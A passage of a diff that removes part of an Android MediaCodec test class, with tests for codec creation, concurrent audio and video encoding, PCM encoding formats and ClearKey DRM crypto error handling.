-                completed.set(runDecodeShortInput(INPUT_RESOURCE, LAST_BUFFER_TIMESTAMP_US));
-            }
-        });
-        videoDecodingThread.start();
-        videoDecodingThread.join(DECODING_TIMEOUT_MS);
-        if (!completed.get()) {
-            throw new RuntimeException("timed out decoding to end-of-stream");
-        }
-    }
-
-    private boolean runDecodeShortInput(final String inputResource, long lastBufferTimestampUs) {
-        final int NO_BUFFER_INDEX = -1;
-
-        OutputSurface outputSurface = null;
-        MediaExtractor mediaExtractor = null;
-        MediaCodec mediaCodec = null;
-        try {
-            outputSurface = new OutputSurface(1, 1);
-            mediaExtractor = getMediaExtractorForMimeType(inputResource, "video/");
-            MediaFormat mediaFormat =
-                    mediaExtractor.getTrackFormat(mediaExtractor.getSampleTrackIndex());
-            String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
-            if (!supportsCodec(mimeType, false)) {
-                Log.i(TAG, "No decoder found for mimeType= " + MIME_TYPE);
-                return true;
-            }
-            mediaCodec =
-                    MediaCodec.createDecoderByType(mimeType);
-            mediaCodec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
-            mediaCodec.start();
-            boolean eos = false;
-            boolean signaledEos = false;
-            MediaCodec.BufferInfo outputBufferInfo = new MediaCodec.BufferInfo();
-            int outputBufferIndex = NO_BUFFER_INDEX;
-            while (!eos && !Thread.interrupted()) {
-                // Try to feed more data into the codec.
-                if (mediaExtractor.getSampleTrackIndex() != -1 && !signaledEos) {
-                    int bufferIndex = mediaCodec.dequeueInputBuffer(0);
-                    if (bufferIndex != NO_BUFFER_INDEX) {
-                        ByteBuffer buffer = mediaCodec.getInputBuffers()[bufferIndex];
-                        int size = mediaExtractor.readSampleData(buffer, 0);
-                        long timestampUs = mediaExtractor.getSampleTime();
-                        mediaExtractor.advance();
-                        signaledEos = mediaExtractor.getSampleTrackIndex() == -1
-                                || timestampUs == lastBufferTimestampUs;
-                        mediaCodec.queueInputBuffer(bufferIndex,
-                                0,
-                                size,
-                                timestampUs,
-                                signaledEos ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-                    }
-                }
-
-                // If we don't have an output buffer, try to get one now.
-                if (outputBufferIndex == NO_BUFFER_INDEX) {
-                    outputBufferIndex = mediaCodec.dequeueOutputBuffer(outputBufferInfo, 0);
-                }
-
-                if (outputBufferIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED
-                        || outputBufferIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED
-                        || outputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    outputBufferIndex = NO_BUFFER_INDEX;
-                } else if (outputBufferIndex != NO_BUFFER_INDEX) {
-                    eos = (outputBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
-
-                    boolean render = outputBufferInfo.size > 0;
-                    mediaCodec.releaseOutputBuffer(outputBufferIndex, render);
-                    if (render) {
-                        outputSurface.awaitNewImage();
-                    }
-
-                    outputBufferIndex = NO_BUFFER_INDEX;
-                }
-            }
-
-            return eos;
-        } catch (IOException e) {
-            throw new RuntimeException("error reading input resource", e);
-        } finally {
-            if (mediaCodec != null) {
-                mediaCodec.stop();
-                mediaCodec.release();
-            }
-            if (mediaExtractor != null) {
-                mediaExtractor.release();
-            }
-            if (outputSurface != null) {
-                outputSurface.release();
-            }
-        }
-    }
-
-    /**
-     * Tests creating two decoders for {@link #MIME_TYPE_AUDIO} at the same time.
-     */
-    public void testCreateTwoAudioDecoders() {
-        final MediaFormat format = MediaFormat.createAudioFormat(
-                MIME_TYPE_AUDIO, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_COUNT);
-
-        MediaCodec audioDecoderA = null;
-        MediaCodec audioDecoderB = null;
-        try {
-            try {
-                audioDecoderA = MediaCodec.createDecoderByType(MIME_TYPE_AUDIO);
-            } catch (IOException e) {
-                fail("failed to create first " + MIME_TYPE_AUDIO + " decoder");
-            }
-            audioDecoderA.configure(format, null, null, 0);
-            audioDecoderA.start();
-
-            try {
-                audioDecoderB = MediaCodec.createDecoderByType(MIME_TYPE_AUDIO);
-            } catch (IOException e) {
-                fail("failed to create second " + MIME_TYPE_AUDIO + " decoder");
-            }
-            audioDecoderB.configure(format, null, null, 0);
-            audioDecoderB.start();
-        } finally {
-            if (audioDecoderB != null) {
-                try {
-                    audioDecoderB.stop();
-                    audioDecoderB.release();
-                } catch (RuntimeException e) {
-                    Log.w(TAG, "exception stopping/releasing codec", e);
-                }
-            }
-
-            if (audioDecoderA != null) {
-                try {
-                    audioDecoderA.stop();
-                    audioDecoderA.release();
-                } catch (RuntimeException e) {
-                    Log.w(TAG, "exception stopping/releasing codec", e);
-                }
-            }
-        }
-    }
-
-    /**
-     * Tests creating an encoder and decoder for {@link #MIME_TYPE_AUDIO} at the same time.
-     */
-    public void testCreateAudioDecoderAndEncoder() {
-        if (!supportsCodec(MIME_TYPE_AUDIO, true)) {
-            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE_AUDIO);
-            return;
-        }
-
-        if (!supportsCodec(MIME_TYPE_AUDIO, false)) {
-            Log.i(TAG, "No decoder found for mimeType= " + MIME_TYPE_AUDIO);
-            return;
-        }
-
-        final MediaFormat encoderFormat = MediaFormat.createAudioFormat(
-                MIME_TYPE_AUDIO, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_COUNT);
-        encoderFormat.setInteger(MediaFormat.KEY_AAC_PROFILE, AUDIO_AAC_PROFILE);
-        encoderFormat.setInteger(MediaFormat.KEY_BIT_RATE, AUDIO_BIT_RATE);
-        final MediaFormat decoderFormat = MediaFormat.createAudioFormat(
-                MIME_TYPE_AUDIO, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_COUNT);
-
-        MediaCodec audioEncoder = null;
-        MediaCodec audioDecoder = null;
-        try {
-            try {
-                audioEncoder = MediaCodec.createEncoderByType(MIME_TYPE_AUDIO);
-            } catch (IOException e) {
-                fail("failed to create " + MIME_TYPE_AUDIO + " encoder");
-            }
-            audioEncoder.configure(encoderFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            audioEncoder.start();
-
-            try {
-                audioDecoder = MediaCodec.createDecoderByType(MIME_TYPE_AUDIO);
-            } catch (IOException e) {
-                fail("failed to create " + MIME_TYPE_AUDIO + " decoder");
-            }
-            audioDecoder.configure(decoderFormat, null, null, 0);
-            audioDecoder.start();
-        } finally {
-            if (audioDecoder != null) {
-                try {
-                    audioDecoder.stop();
-                    audioDecoder.release();
-                } catch (RuntimeException e) {
-                    Log.w(TAG, "exception stopping/releasing codec", e);
-                }
-            }
-
-            if (audioEncoder != null) {
-                try {
-                    audioEncoder.stop();
-                    audioEncoder.release();
-                } catch (RuntimeException e) {
-                    Log.w(TAG, "exception stopping/releasing codec", e);
-                }
-            }
-        }
-    }
-
-    public void testConcurrentAudioVideoEncodings() throws InterruptedException {
-        if (!supportsCodec(MIME_TYPE_AUDIO, true)) {
-            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE_AUDIO);
-            return;
-        }
-
-        if (!supportsCodec(MIME_TYPE, true)) {
-            Log.i(TAG, "No decoder found for mimeType= " + MIME_TYPE);
-            return;
-        }
-
-        final int VIDEO_NUM_SWAPS = 100;
-        // audio only checks this and stop
-        mVideoEncodingOngoing = true;
-        final CodecInfo info = getAvcSupportedFormatInfo();
-        long start = System.currentTimeMillis();
-        Thread videoEncodingThread = new Thread(new Runnable() {
-            @Override
-            public void run() {
-                runVideoEncoding(VIDEO_NUM_SWAPS, info);
-            }
-        });
-        Thread audioEncodingThread = new Thread(new Runnable() {
-            @Override
-            public void run() {
-                runAudioEncoding();
-            }
-        });
-        videoEncodingThread.start();
-        audioEncodingThread.start();
-        videoEncodingThread.join();
-        mVideoEncodingOngoing = false;
-        audioEncodingThread.join();
-        assertFalse("Video encoding error. Chekc logcat", mVideoEncoderHadError);
-        assertFalse("Audio encoding error. Chekc logcat", mAudioEncoderHadError);
-        long end = System.currentTimeMillis();
-        Log.w(TAG, "Concurrent AV encoding took " + (end - start) + " ms for " + VIDEO_NUM_SWAPS +
-                " video frames");
-    }
-
-    private static class CodecInfo {
-        public int mMaxW;
-        public int mMaxH;
-        public int mFps;
-        public int mBitRate;
-    }
-
-    public void testCryptoInfoPattern() {
-        CryptoInfo info = new CryptoInfo();
-        Pattern pattern = new Pattern(1 /*blocksToEncrypt*/, 2 /*blocksToSkip*/);
-        assertEquals(1, pattern.getEncryptBlocks());
-        assertEquals(2, pattern.getSkipBlocks());
-        pattern.set(3 /*blocksToEncrypt*/, 4 /*blocksToSkip*/);
-        assertEquals(3, pattern.getEncryptBlocks());
-        assertEquals(4, pattern.getSkipBlocks());
-        info.setPattern(pattern);
-        // Check that CryptoInfo does not leak access to the underlying pattern.
-        if (mIsAtLeastS) {
-            // getPattern() availability SDK>=S
-            pattern.set(10, 10);
-            info.getPattern().set(10, 10);
-            assertSame(3, info.getPattern().getEncryptBlocks());
-            assertSame(4, info.getPattern().getSkipBlocks());
-        }
-    }
-
-    private static CodecInfo getAvcSupportedFormatInfo() {
-        MediaCodecInfo mediaCodecInfo = selectCodec(MIME_TYPE);
-        CodecCapabilities cap = mediaCodecInfo.getCapabilitiesForType(MIME_TYPE);
-        if (cap == null) { // not supported
-            return null;
-        }
-        CodecInfo info = new CodecInfo();
-        int highestLevel = 0;
-        for (CodecProfileLevel lvl : cap.profileLevels) {
-            if (lvl.level > highestLevel) {
-                highestLevel = lvl.level;
-            }
-        }
-        int maxW = 0;
-        int maxH = 0;
-        int bitRate = 0;
-        int fps = 0; // frame rate for the max resolution
-        switch(highestLevel) {
-            // Do not support Level 1 to 2.
-            case CodecProfileLevel.AVCLevel1:
-            case CodecProfileLevel.AVCLevel11:
-            case CodecProfileLevel.AVCLevel12:
-            case CodecProfileLevel.AVCLevel13:
-            case CodecProfileLevel.AVCLevel1b:
-            case CodecProfileLevel.AVCLevel2:
-                return null;
-            case CodecProfileLevel.AVCLevel21:
-                maxW = 352;
-                maxH = 576;
-                bitRate = 4000000;
-                fps = 25;
-                break;
-            case CodecProfileLevel.AVCLevel22:
-                maxW = 720;
-                maxH = 480;
-                bitRate = 4000000;
-                fps = 15;
-                break;
-            case CodecProfileLevel.AVCLevel3:
-                maxW = 720;
-                maxH = 480;
-                bitRate = 10000000;
-                fps = 30;
-                break;
-            case CodecProfileLevel.AVCLevel31:
-                maxW = 1280;
-                maxH = 720;
-                bitRate = 14000000;
-                fps = 30;
-                break;
-            case CodecProfileLevel.AVCLevel32:
-                maxW = 1280;
-                maxH = 720;
-                bitRate = 20000000;
-                fps = 60;
-                break;
-            case CodecProfileLevel.AVCLevel4: // only try up to 1080p
-            default:
-                maxW = 1920;
-                maxH = 1080;
-                bitRate = 20000000;
-                fps = 30;
-                break;
-        }
-        info.mMaxW = maxW;
-        info.mMaxH = maxH;
-        info.mFps = fps;
-        info.mBitRate = bitRate;
-        Log.i(TAG, "AVC Level 0x" + Integer.toHexString(highestLevel) + " bit rate " + bitRate +
-                " fps " + info.mFps + " w " + maxW + " h " + maxH);
-
-        return info;
-    }
-
-    private void runVideoEncoding(int numSwap, CodecInfo info) {
-        MediaFormat format = MediaFormat.createVideoFormat(MIME_TYPE, info.mMaxW, info.mMaxH);
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, info.mBitRate);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, info.mFps);
-        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-        MediaCodec encoder = null;
-        InputSurface inputSurface = null;
-        mVideoEncoderHadError = false;
-        try {
-            encoder = MediaCodec.createEncoderByType(MIME_TYPE);
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            inputSurface = new InputSurface(encoder.createInputSurface());
-            inputSurface.makeCurrent();
-            MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
-            encoder.start();
-            for (int i = 0; i < numSwap; i++) {
-                GLES20.glClearColor(0.0f, 0.5f, 0.0f, 1.0f);
-                GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-                inputSurface.swapBuffers();
-                // dequeue buffers until not available
-                int index = encoder.dequeueOutputBuffer(bufferInfo, TIMEOUT_USEC);
-                while (index >= 0) {
-                    encoder.releaseOutputBuffer(index, false);
-                    // just throw away output
-                    // allow shorter wait for 2nd round to move on quickly.
-                    index = encoder.dequeueOutputBuffer(bufferInfo, TIMEOUT_USEC_SHORT);
-                }
-            }
-            encoder.signalEndOfInputStream();
-        } catch (Throwable e) {
-            Log.w(TAG, "runVideoEncoding got error: " + e);
-            mVideoEncoderHadError = true;
-        } finally {
-            if (encoder != null) {
-                encoder.stop();
-                encoder.release();
-            }
-            if (inputSurface != null) {
-                inputSurface.release();
-            }
-        }
-    }
-
-    private void runAudioEncoding() {
-        MediaFormat format = MediaFormat.createAudioFormat(MIME_TYPE_AUDIO, AUDIO_SAMPLE_RATE,
-                AUDIO_CHANNEL_COUNT);
-        format.setInteger(MediaFormat.KEY_AAC_PROFILE, AUDIO_AAC_PROFILE);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, AUDIO_BIT_RATE);
-        MediaCodec encoder = null;
-        mAudioEncoderHadError = false;
-        try {
-            encoder = MediaCodec.createEncoderByType(MIME_TYPE_AUDIO);
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-            encoder.start();
-            ByteBuffer[] inputBuffers = encoder.getInputBuffers();
-            ByteBuffer source = ByteBuffer.allocate(inputBuffers[0].capacity());
-            for (int i = 0; i < source.capacity()/2; i++) {
-                source.putShort((short)i);
-            }
-            source.rewind();
-            int currentInputBufferIndex = 0;
-            long encodingLatencySum = 0;
-            int totalEncoded = 0;
-            int numRepeat = 0;
-            while (mVideoEncodingOngoing) {
-                numRepeat++;
-                int inputIndex = encoder.dequeueInputBuffer(TIMEOUT_USEC);
-                while (inputIndex == -1) {
-                    inputIndex = encoder.dequeueInputBuffer(TIMEOUT_USEC);
-                }
-                ByteBuffer inputBuffer = inputBuffers[inputIndex];
-                inputBuffer.rewind();
-                inputBuffer.put(source);
-                long start = System.currentTimeMillis();
-                totalEncoded += inputBuffers[inputIndex].limit();
-                encoder.queueInputBuffer(inputIndex, 0, inputBuffer.limit(), 0, 0);
-                source.rewind();
-                int index = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
-                long end = System.currentTimeMillis();
-                encodingLatencySum += (end - start);
-                while (index >= 0) {
-                    encoder.releaseOutputBuffer(index, false);
-                    // just throw away output
-                    // allow shorter wait for 2nd round to move on quickly.
-                    index = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC_SHORT);
-                }
-            }
-            Log.w(TAG, "Audio encoding average latency " + encodingLatencySum / numRepeat +
-                    " ms for average write size " + totalEncoded / numRepeat +
-                    " total latency " + encodingLatencySum + " ms for total bytes " + totalEncoded);
-        } catch (Throwable e) {
-            Log.w(TAG, "runAudioEncoding got error: " + e);
-            mAudioEncoderHadError = true;
-        } finally {
-            if (encoder != null) {
-                encoder.stop();
-                encoder.release();
-            }
-        }
-    }
-
-    /**
-     * Creates a MediaFormat with the basic set of values.
-     */
-    private static MediaFormat createMediaFormat() {
-        MediaFormat format = MediaFormat.createVideoFormat(MIME_TYPE, WIDTH, HEIGHT);
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, BIT_RATE);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
-        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-        return format;
-    }
-
-    /**
-     * Returns the first codec capable of encoding the specified MIME type, or null if no
-     * match was found.
-     */
-    private static MediaCodecInfo selectCodec(String mimeType) {
-        // FIXME: select codecs based on the complete use-case, not just the mime
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if (!info.isEncoder()) {
-                continue;
-            }
-
-            String[] types = info.getSupportedTypes();
-            for (int j = 0; j < types.length; j++) {
-                if (types[j].equalsIgnoreCase(mimeType)) {
-                    return info;
-                }
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Returns a color format that is supported by the codec and isn't COLOR_FormatSurface.  Throws
-     * an exception if none found.
-     */
-    private static int findNonSurfaceColorFormat(MediaCodecInfo codecInfo, String mimeType) {
-        MediaCodecInfo.CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(mimeType);
-        for (int i = 0; i < capabilities.colorFormats.length; i++) {
-            int colorFormat = capabilities.colorFormats[i];
-            if (colorFormat != MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface) {
-                return colorFormat;
-            }
-        }
-        fail("couldn't find a good color format for " + codecInfo.getName() + " / " + MIME_TYPE);
-        return 0;   // not reached
-    }
-
-    private MediaExtractor getMediaExtractorForMimeType(final String resource,
-            String mimeTypePrefix) throws IOException {
-        Preconditions.assertTestFileExists(mInpPrefix + resource);
-        MediaExtractor mediaExtractor = new MediaExtractor();
-        File inpFile = new File(mInpPrefix + resource);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        AssetFileDescriptor afd = new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-        try {
-            mediaExtractor.setDataSource(
-                    afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        } finally {
-            afd.close();
-        }
-        int trackIndex;
-        for (trackIndex = 0; trackIndex < mediaExtractor.getTrackCount(); trackIndex++) {
-            MediaFormat trackMediaFormat = mediaExtractor.getTrackFormat(trackIndex);
-            if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
-                mediaExtractor.selectTrack(trackIndex);
-                break;
-            }
-        }
-        if (trackIndex == mediaExtractor.getTrackCount()) {
-            throw new IllegalStateException("couldn't get a video track");
-        }
-
-        return mediaExtractor;
-    }
-
-    private static boolean supportsCodec(String mimeType, boolean encoder) {
-        MediaCodecList list = new MediaCodecList(MediaCodecList.ALL_CODECS);
-        for (MediaCodecInfo info : list.getCodecInfos()) {
-            if (encoder != info.isEncoder()) {
-                continue;
-            }
-
-            for (String type : info.getSupportedTypes()) {
-                if (type.equalsIgnoreCase(mimeType)) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    private static final UUID CLEARKEY_SCHEME_UUID =
-            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
-
-    /**
-     * Tests:
-     * <br> queueSecureInputBuffer() with erroneous input throws CryptoException
-     * <br> getInputBuffer() after the failed queueSecureInputBuffer() succeeds.
-     */
-    public void testCryptoError() throws Exception {
-        if (!supportsCodec(MIME_TYPE, true)) {
-            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
-            return;
-        }
-
-        MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
-        byte[] sessionId = drm.openSession();
-        MediaCrypto crypto = new MediaCrypto(CLEARKEY_SCHEME_UUID, new byte[0]);
-        MediaCodec codec = MediaCodec.createDecoderByType(MIME_TYPE);
-
-        try {
-            crypto.setMediaDrmSession(sessionId);
-
-            MediaCodec.CryptoInfo cryptoInfo = new MediaCodec.CryptoInfo();
-            MediaFormat format = createMediaFormat();
-
-            codec.configure(format, null, crypto, 0);
-            codec.start();
-            int index = codec.dequeueInputBuffer(-1);
-            assertTrue(index >= 0);
-            ByteBuffer buffer = codec.getInputBuffer(index);
-            cryptoInfo.set(
-                    1,
-                    new int[] { 0 },
-                    new int[] { buffer.capacity() },
-                    new byte[16],
-                    new byte[16],
-                    // Trying to decrypt encrypted data in unencrypted mode
-                    MediaCodec.CRYPTO_MODE_UNENCRYPTED);
-            try {
-                codec.queueSecureInputBuffer(index, 0, cryptoInfo, 0, 0);
-                fail("queueSecureInputBuffer should fail when trying to decrypt " +
-                        "encrypted data in unencrypted mode.");
-            } catch (MediaCodec.CryptoException e) {
-                // expected
-            }
-            buffer = codec.getInputBuffer(index);
-            codec.stop();
-        } finally {
-            codec.release();
-            crypto.release();
-            drm.closeSession(sessionId);
-        }
-    }
-
-    /**
-     * Tests MediaCodec.CryptoException
-     */
-    public void testCryptoException() {
-        int errorCode = CryptoException.ERROR_KEY_EXPIRED;
-        String errorMessage = "key_expired";
-        CryptoException exception = new CryptoException(errorCode, errorMessage);
-
-        assertEquals(errorCode, exception.getErrorCode());
-        assertEquals(errorMessage, exception.getMessage());
-    }
-
-    /**
-     * PCM encoding configuration test.
-     *
-     * If not specified in configure(), PCM encoding if it exists must be 16 bit.
-     * If specified float in configure(), PCM encoding if it exists must be 16 bit, or float.
-     *
-     * As of Q, any codec of type "audio/raw" must support PCM encoding float.
-     */
-    @MediumTest
-    public void testPCMEncoding() throws Exception {
-        final MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
-        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
-            final boolean isEncoder = codecInfo.isEncoder();
-            final String name = codecInfo.getName();
-
-            for (String type : codecInfo.getSupportedTypes()) {
-                final MediaCodecInfo.CodecCapabilities ccaps =
-                        codecInfo.getCapabilitiesForType(type);
-                final MediaCodecInfo.AudioCapabilities acaps =
-                        ccaps.getAudioCapabilities();
-                if (acaps == null) {
-                    break; // not an audio codec
-                }
-
-                // Deduce the minimum channel count (though prefer stereo over mono).
-                final int channelCount = Math.min(acaps.getMaxInputChannelCount(), 2);
-
-                // Deduce the minimum sample rate.
-                final int[] sampleRates = acaps.getSupportedSampleRates();
-                final Range<Integer>[] sampleRateRanges = acaps.getSupportedSampleRateRanges();
-                assertNotNull("supported sample rate ranges must be non-null", sampleRateRanges);
-                final int sampleRate = sampleRateRanges[0].getLower();
-
-                // If sample rate array exists (it may not),
-                // the minimum value must be equal with the minimum from the sample rate range.
-                if (sampleRates != null) {
-                    assertEquals("sample rate range and array should have equal minimum",
-                            sampleRate, sampleRates[0]);
-                    Log.d(TAG, "codec: " + name + " type: " + type
-                            + " has both sampleRate array and ranges");
-                } else {
-                    Log.d(TAG, "codec: " + name + " type: " + type
-                            + " returns null getSupportedSampleRates()");
-                }
-
-                // We create one format here for both tests below.
-                final MediaFormat format = MediaFormat.createAudioFormat(
-                    type, sampleRate, channelCount);
-
-                // Bitrate field is mandatory for encoders (except FLAC).
-                if (isEncoder) {
-                    final int bitRate = acaps.getBitrateRange().getLower();
-                    format.setInteger(MediaFormat.KEY_BIT_RATE, bitRate);
-                }
-
-                // First test: An audio codec must be createable from a format
-                // with the minimum sample rate and channel count.
-                // The PCM encoding must be null (doesn't exist) or 16 bit.
-                {
-                    // Check encoding of codec.
-                    final Integer actualEncoding = encodingOfAudioCodec(name, format, isEncoder);
-                    if (actualEncoding != null) {
-                        assertEquals("returned audio encoding must be 16 bit for codec: "
-                                + name + " type: " + type + " encoding: " + actualEncoding,
-                                AudioFormat.ENCODING_PCM_16BIT, actualEncoding.intValue());
-                    }
-                }
-
-                // Second test: An audio codec configured with PCM encoding float must return
-                // either an encoding of null (doesn't exist), 16 bit, or float.
-                {
-                    // Reuse the original format, and add float specifier.
-                    format.setInteger(
-                            MediaFormat.KEY_PCM_ENCODING, AudioFormat.ENCODING_PCM_FLOAT);
-
-                    // Check encoding of codec.
-                    // The KEY_PCM_ENCODING key is advisory, so should not cause configuration
-                    // failure.  The actual PCM encoding is returned from
-                    // the input format (encoder) or output format (decoder).
-                    final Integer actualEncoding = encodingOfAudioCodec(name, format, isEncoder);
-                    if (actualEncoding != null) {
-                        assertTrue(
-                                "returned audio encoding must be 16 bit or float for codec: "
-                                + name + " type: " + type + " encoding: " + actualEncoding,
-                                actualEncoding == AudioFormat.ENCODING_PCM_16BIT
-                                || actualEncoding == AudioFormat.ENCODING_PCM_FLOAT);
-                        if (actualEncoding == AudioFormat.ENCODING_PCM_FLOAT) {
-                            Log.d(TAG, "codec: " + name + " type: " + type + " supports float");
-                        }
-                    }
-
-                    // As of Q, all codecs of type "audio/raw" must support float.
-                    if (type.equals("audio/raw")) {
-                        assertTrue(type + " must support float",
-                                actualEncoding != null &&
-                                actualEncoding.intValue() == AudioFormat.ENCODING_PCM_FLOAT);
-                    }
-                }
-            }
-        }
-    }
-
-    /**
-     * Returns the PCM encoding of an audio codec, or null if codec doesn't exist,
-     * or not an audio codec, or PCM encoding key doesn't exist.
-     */
-    private Integer encodingOfAudioCodec(String name, MediaFormat format, boolean encode)
-            throws IOException {
-        final int flagEncoder = encode ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0;
-        final MediaCodec codec = MediaCodec.createByCodecName(name);
-        Integer actualEncoding = null;
-
-        try {
-            codec.configure(format, null /* surface */, null /* crypto */, flagEncoder);
-
-            // Check input/output format - this must exist.
-            final MediaFormat actualFormat =
-                    encode ? codec.getInputFormat() : codec.getOutputFormat();
-            assertNotNull("cannot get format for " + name, actualFormat);
-
-            // Check actual encoding - this may or may not exist
-            try {
-                actualEncoding = actualFormat.getInteger(MediaFormat.KEY_PCM_ENCODING);
-            } catch (Exception e) {
-                ; // trying to get a non-existent key throws exception
-            }
-        } finally {
-            codec.release();
-        }
-        return actualEncoding;
-    }
-
-    /*
-     * Simulate ERROR_LOST_STATE error during decryption, expected
-     * result is MediaCodec.CryptoException with errorCode == ERROR_LOST_STATE
-     */
-    public void testCryptoErrorLostSessionState() throws Exception {
-        if (!supportsCodec(MIME_TYPE, true)) {
-            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
-            return;
-        }
-
-        MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
-        drm.setPropertyString("drmErrorTest", "lostState");
-
-        byte[] sessionId = drm.openSession();
-        MediaCrypto crypto = new MediaCrypto(CLEARKEY_SCHEME_UUID, new byte[0]);
-        MediaCodec codec = MediaCodec.createDecoderByType(MIME_TYPE);
-
-        try {
-            crypto.setMediaDrmSession(sessionId);
-
-            MediaCodec.CryptoInfo cryptoInfo = new MediaCodec.CryptoInfo();
-            MediaFormat format = createMediaFormat();
-
-            codec.configure(format, null, crypto, 0);
-            codec.start();
-            int index = codec.dequeueInputBuffer(-1);
-            assertTrue(index >= 0);
-            ByteBuffer buffer = codec.getInputBuffer(index);
-            cryptoInfo.set(
-                    1,
-                    new int[] { 0 },
-                    new int[] { buffer.capacity() },
-                            new byte[16],
-                    new byte[16],
-                    MediaCodec.CRYPTO_MODE_AES_CTR);
-            try {
-                codec.queueSecureInputBuffer(index, 0, cryptoInfo, 0, 0);
-                fail("queueSecureInputBuffer should fail when trying to decrypt " +
-                        "after session lost state error.");
-            } catch (MediaCodec.CryptoException e) {
-                if (e.getErrorCode() != MediaCodec.CryptoException.ERROR_LOST_STATE) {
-                    fail("expected MediaCodec.CryptoException.ERROR_LOST_STATE: " +
-                            e.getErrorCode() + ": " + e.getMessage());
-                }
-                // received expected lost state exception
-            }
-            buffer = codec.getInputBuffer(index);
-            codec.stop();
-        } finally {
-            codec.release();
-            crypto.release();
-            try {
-                drm.closeSession(sessionId);
-            } catch (MediaDrmStateException e) {
-                // expected since session lost state
-            }
-        }
-    }
-
-    /* package */ static abstract class ByteBufferStream {
-        public abstract ByteBuffer read() throws IOException;
-    }
-
-    /* package */ static class MediaCodecStream extends ByteBufferStream implements Closeable {
-        private ByteBufferStream mBufferInputStream;
-        private InputStream mInputStream;
-        private MediaCodec mCodec;
-        public boolean mIsFloat;
-        BufferInfo mInfo = new BufferInfo();
-        boolean mSawOutputEOS;
-        boolean mSawInputEOS;
-        boolean mEncode;
-        boolean mSentConfig;
-
-        // result stream
-        private byte[] mBuf = null;
-        private byte[] mCache = null;
-        private int mBufIn = 0;
-        private int mBufOut = 0;
-        private int mBufCounter = 0;
-
-        private MediaExtractor mExtractor; // Read from Extractor instead of InputStream
-        // helper for bytewise read()
-        private byte[] mOneByte = new byte[1];
-
-        private MediaCodecStream(
-                MediaFormat format,
-                boolean encode) throws Exception {
-            String mime = format.getString(MediaFormat.KEY_MIME);
-            mEncode = encode;
-            if (mEncode) {
-                mCodec = MediaCodec.createEncoderByType(mime);
-            } else {
-                mCodec = MediaCodec.createDecoderByType(mime);
-            }
-            mCodec.configure(format,null, null, encode ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0);
-
-            // check if float
-            final MediaFormat actualFormat =
-                    encode ? mCodec.getInputFormat() : mCodec.getOutputFormat();
-
-            mIsFloat = actualFormat.getInteger(
-                    MediaFormat.KEY_PCM_ENCODING, AudioFormat.ENCODING_PCM_16BIT)
-                            == AudioFormat.ENCODING_PCM_FLOAT;
-
-            mCodec.start();
-        }
-
-        MediaCodecStream(
-                InputStream input,
-                MediaFormat format,
-                boolean encode) throws Exception {
-            this(format, encode);
-            mInputStream = input;
-        }
-
-        MediaCodecStream(
-                ByteBufferStream input,
-                MediaFormat format,
-                boolean encode) throws Exception {
-            this(format, encode);
-            mBufferInputStream = input;
-        }
-
-        MediaCodecStream(MediaExtractor mediaExtractor,
-                MediaFormat format) throws Exception {
-            this(format, false /* encode */);
-            mExtractor = mediaExtractor;
-        }
-
-        @Override
-        public ByteBuffer read() throws IOException {
-
-            if (mSawOutputEOS) {
-                return null;
-            }
-
-            // first push as much data into the codec as possible
-            while (!mSawInputEOS) {
-                Log.i(TAG, "sending data to " + mCodec.getName());
-                int index = mCodec.dequeueInputBuffer(5000);
-                if (index < 0) {
-                    // no input buffer currently available
-                    break;
-                } else {
